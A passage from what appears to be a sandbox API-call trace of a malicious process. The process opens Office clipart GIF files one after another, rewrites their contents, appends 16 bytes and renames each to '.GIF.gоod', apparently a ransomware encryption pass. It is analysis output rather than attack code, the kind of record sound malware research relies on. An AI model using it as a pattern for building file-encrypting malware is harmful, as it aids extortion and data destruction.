hTemplateFile=0x0) returned 0x808 [0144.933] GetFileType (hFile=0x808) returned 0x1 [0144.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0144.934] GetFileType (hFile=0x808) returned 0x1 [0144.934] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2186 [0144.934] WriteFile (in: hFile=0x808, lpBuffer=0x366c598*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x366c598*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0144.934] CloseHandle (hObject=0x808) returned 1 [0144.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0144.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0144.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.935] GetFileType (hFile=0x808) returned 0x1 [0144.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0144.935] GetFileType (hFile=0x808) returned 0x1 [0144.935] ReadFile (in: hFile=0x808, lpBuffer=0x366e858, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x366e858*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0144.962] CloseHandle (hObject=0x808) returned 1 [0144.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0144.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0144.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.962] GetFileType (hFile=0x808) returned 0x1 [0144.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0144.962] GetFileType (hFile=0x808) returned 0x1 [0144.962] WriteFile (in: hFile=0x808, lpBuffer=0x366d5b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x366d5b0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0144.963] CloseHandle (hObject=0x808) returned 1 [0144.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", lpFilePart=0x0) returned 0x44 [0144.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0144.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0144.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x529f3cb5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2196)) returned 1 [0144.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0144.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.gоod")) returned 1 [0144.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0144.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0144.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36eac48 | out: lpFileInformation=0x36eac48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e)) returned 1 [0144.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0144.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0144.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0144.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0144.964] GetFileType (hFile=0x808) returned 0x1 [0144.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0144.964] GetFileType (hFile=0x808) returned 0x1 [0144.965] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0144.965] ReadFile (in: hFile=0x808, lpBuffer=0x36eb060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36eb060*, lpNumberOfBytesRead=0x1faedd28*=0x31e, lpOverlapped=0x0) returned 1 [0145.210] CloseHandle (hObject=0x808) returned 1 [0145.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0145.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.228] GetFileType (hFile=0x644) returned 0x1 [0145.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.228] GetFileType (hFile=0x644) returned 0x1 [0145.228] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x131e [0145.228] WriteFile (in: hFile=0x644, lpBuffer=0x36a7020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36a7020*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0145.229] CloseHandle (hObject=0x644) returned 1 [0145.229] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0145.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.229] GetFileType (hFile=0x644) returned 0x1 [0145.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.229] GetFileType (hFile=0x644) returned 0x1 [0145.229] ReadFile (in: hFile=0x644, lpBuffer=0x36a92e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36a92e0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0145.257] CloseHandle (hObject=0x644) returned 1 [0145.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0145.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.257] GetFileType (hFile=0x644) returned 0x1 [0145.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.257] GetFileType (hFile=0x644) returned 0x1 [0145.257] WriteFile (in: hFile=0x644, lpBuffer=0x36a8038*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36a8038*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0145.258] CloseHandle (hObject=0x644) returned 1 [0145.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", lpFilePart=0x0) returned 0x44 [0145.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0145.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0145.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x52ca2740, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x132e)) returned 1 [0145.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0145.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.gоod")) returned 1 [0145.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0145.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3726700 | out: lpFileInformation=0x3726700*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff)) returned 1 [0145.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0145.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.261] GetFileType (hFile=0x644) returned 0x1 [0145.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.261] GetFileType (hFile=0x644) returned 0x1 [0145.261] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0145.261] ReadFile (in: hFile=0x644, lpBuffer=0x3726b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3726b18*, lpNumberOfBytesRead=0x1faedd28*=0x4ff, lpOverlapped=0x0) returned 1 [0145.963] CloseHandle (hObject=0x644) returned 1 [0145.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.963] GetFileType (hFile=0x644) returned 0x1 [0145.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.963] GetFileType (hFile=0x644) returned 0x1 [0145.963] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x14ff [0145.963] WriteFile (in: hFile=0x644, lpBuffer=0x36b5c48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x36b5c48*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0145.963] CloseHandle (hObject=0x644) returned 1 [0145.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.964] GetFileType (hFile=0x644) returned 0x1 [0145.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.964] GetFileType (hFile=0x644) returned 0x1 [0145.964] ReadFile (in: hFile=0x644, lpBuffer=0x36b7f08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x36b7f08*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0145.990] CloseHandle (hObject=0x644) returned 1 [0145.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.990] GetFileType (hFile=0x644) returned 0x1 [0145.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.990] GetFileType (hFile=0x644) returned 0x1 [0145.990] WriteFile (in: hFile=0x644, lpBuffer=0x36b6c60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36b6c60*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0145.991] CloseHandle (hObject=0x644) returned 1 [0145.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF", lpFilePart=0x0) returned 0x44 [0145.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0145.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0145.991] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x533a3532, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150f)) returned 1 [0145.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0145.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.gоod")) returned 1 [0145.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0145.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0145.992] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3735348 | out: lpFileInformation=0x3735348*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420)) returned 1 [0145.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0145.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0145.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.992] GetFileType (hFile=0x644) returned 0x1 [0145.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.992] GetFileType (hFile=0x644) returned 0x1 [0145.993] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0145.993] ReadFile (in: hFile=0x644, lpBuffer=0x3735760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3735760*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0145.994] CloseHandle (hObject=0x644) returned 1 [0145.994] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", lpFilePart=0x0) returned 0x44 [0145.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0145.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0145.994] GetFileType (hFile=0x644) returned 0x1 [0145.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0145.994] GetFileType (hFile=0x644) returned 0x1 [0145.994] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2420 [0145.994] WriteFile (in: hFile=0x644, lpBuffer=0x37369f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37369f8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0146.511] CloseHandle (hObject=0x644) returned 1 [0146.511] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 